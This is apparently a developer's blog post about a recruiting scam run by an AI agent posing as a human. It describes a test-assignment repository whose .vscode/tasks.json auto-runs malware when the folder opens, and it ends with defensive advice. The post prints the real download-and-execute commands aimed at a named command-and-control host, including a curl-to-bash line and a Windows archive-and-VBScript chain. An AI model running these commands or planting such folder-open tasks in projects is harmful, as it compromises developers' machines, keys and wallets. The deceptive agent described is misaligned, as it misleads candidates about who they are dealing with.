The Recruiter Was an AI Agent, and the Test Assignment Was Malware

Job scams have been around forever. Fake vacancies, phishing emails, impersonated HR. But it used to take real human effort: write every candidate personally, craft a believable pitch for their profile, keep up the conversation. The scale was limited.

With AI agents, it became a conveyor belt.

Now an agent reads the developer's profile on its own, generates a personalized pitch matched to their stack, runs the conversation, and mimics a live human. For thousands of people at once. The same way spam and phishing moved from manual work to automated attacks a decade ago. The same thing is now happening to recruiting scams.

I ran into one of these schemes. Here is what happened, what I found inside, and how to protect yourself.

How It Started

Someone reached out through a developer hiring platform (the account has since been blocked after I reported it). They pitched a job: full-stack, React, Node.js, Web3. Exactly what I do.

The first red flag was the conversation itself. The agent was simulated reasonably well: lowercase typing, deliberate typos (while punctuation stayed perfect), delayed replies only during working hours. But when I asked for project details, I got classic AI slop: perfectly structured, zero specifics, pure Generic Startup Language.

The agent was generating the project pitch per candidate, and that's where the AI slop showed up in full. I have Web3 plus React plus Node.js in my profile, and I got a pitch in exactly that stack, with a project site that did not look great but looked better than pre-AI scam pages, back when scaling a manual approach was not possible.

After I agreed to look at a test assignment, my GitHub was added to a private repository. Private specifically. That detail matters, I'll come back to it.

What Was Inside

The repo looked like a normal fullstack app: React frontend, Node.js/Express backend, PostgreSQL, Firebase Auth, Stripe. Normal structure, normal code. That's exactly the point. A quick glance raises no suspicion.

The malware lived in .vscode/.

The Attack Scheme

The file .vscode/tasks.json contained a task with "runOn": "folderOpen". VSCode runs that automatically when the folder is opened, with no confirmation from the user. There is a notification at the bottom of the screen, but most developers have been tuning it out for years. It's the standard mechanism for auto-building a project.

The task body depended on the OS.

Linux and macOS:

curl -fsSL -A 101 https://ping-i2eo.onrender.com/nvs | bash

Windows:

curl -sk -A 100 -o %TEMP%\i.ini https://ping-i2eo.onrender.com/nvs
.\.vscode\snippets\argv.exe x -ppppppp %TEMP%\i.ini -o%TEMP%
wscript.exe %TEMP%\vs9extensions\update.vbs

On Linux and Mac: pull a script from a remote server and pipe it straight into bash. On Windows: download an encrypted archive, unpack it with argv.exe (which is already sitting in the repo), and run a VBScript.

The Components

ping-i2eo.onrender.com is a C2 server on Render.com (free tier hosting). The /nvs endpoint serves a shell script. The payload is dynamic: the attacker can swap it at any moment without touching the repository. User-agents 100, 101, 102 are platform identifiers so the server returns the right version.

.vscode/snippets/argv.exe is a 579 KB Windows PE32 binary hidden in the VSCode folder. By behavior it looks like 7-zip: used to unpack the downloaded payload.

.vscode/lock is 753 KB of obfuscated JavaScript on a single line. Likely a Node.js payload for the Unix stage of the attack, or a persistence mechanism.

server/config/default.json contains real-looking credentials in plain text: Cloudflare API key, an email password, S3/R2 access keys. Creates the illusion that the repo and the project are legitimate.

What Happens After Execution

The exact payload is unknown, the script lived on the attacker's server, not in the repo. But the goals of attacks like these are standard:

• Stealing SSH keys from ~/.ssh/
• Stealing .env files and tokens from other projects on the machine
• Stealing saved passwords and cookies from the browser
• Installing a cryptominer
• Backdoor or reverse shell for long-term access

A Web3 developer is a particularly interesting target: the machine likely holds wallets, seed phrases, and private keys.

Why a Private Repo

A public repo would get indexed by security scanners almost instantly and end up in malicious code databases. A private repo is only visible to people who were added to it. The victim gets access, opens it in VSCode, and thinks "this was set up specifically for me, so these are serious people." Extra trust layer.

Why It Didn't Work

Two factors.

1. task.allowAutomaticTasks: off in VSCode.

The setting blocks automatic execution of workspace tasks. With it set to off, VSCode either refuses to run the task or asks for explicit permission, instead of the default behavior where the task starts silently.

If you still have this turned on, flip it now: Settings, search task.allowAutomaticTasks, set to off. It applies to all profiles, including WSL.

2. No VSCode GUI.

The repo was opened in a WSL terminal, not through the desktop VSCode. runOn: folderOpen only triggers when the folder is opened through the editor interface.

Red Flags

What should set off alarms when a recruiter contacts you:

1. An AI agent pretending to be human.

Using AI in recruiting is fine and probably inevitable. But when an agent deliberately simulates a human (fake "natural" typos, responding only during work hours, dodging direct questions), that's not automation, that's outright deception. Red flag number one.

Easy to test: ask a few follow-up questions about the project. AI slop gives itself away on specifics: slightly different answers each time, no real details, no numbers, nothing you can verify.

2. A vacancy that lines up too cleanly with your stack.

Personalization to the candidate's profile is not suspicious on its own. But combined with other flags, it's a signal that the agent parsed your profile and generated content from it. Especially when the pitch comes from an account with a short history.

3. A private repo as a test assignment.

Before cloning, review the files in the GitHub web interface. Anything unrelated to the test assignment (.vscode folders with non-standard content, binaries, obfuscated code) is an immediate stop.

4. .vscode/tasks.json in someone else's repo.

If the file exists, open it in the GitHub web interface before pulling the repo into the editor. If you see "runOn": "folderOpen" in a task, stop right there. Legitimate test assignments have no reason to auto-run anything when the folder opens.

Takeaway

This scheme is going to scale. AI made personalized scams cheap: where it used to take a human per candidate, now one agent processes thousands of profiles.

Two practical recommendations.

Turn off task.allowAutomaticTasks in VSCode right now. One setting that blocks a whole class of repo-based attacks.

Look at files in the browser before git clone. Especially .vscode/, especially when the repo is private.

Developers have always been an attractive target. A developer's machine is potentially access to production servers, wallets, and client API keys. Now the attackers became far more prepared.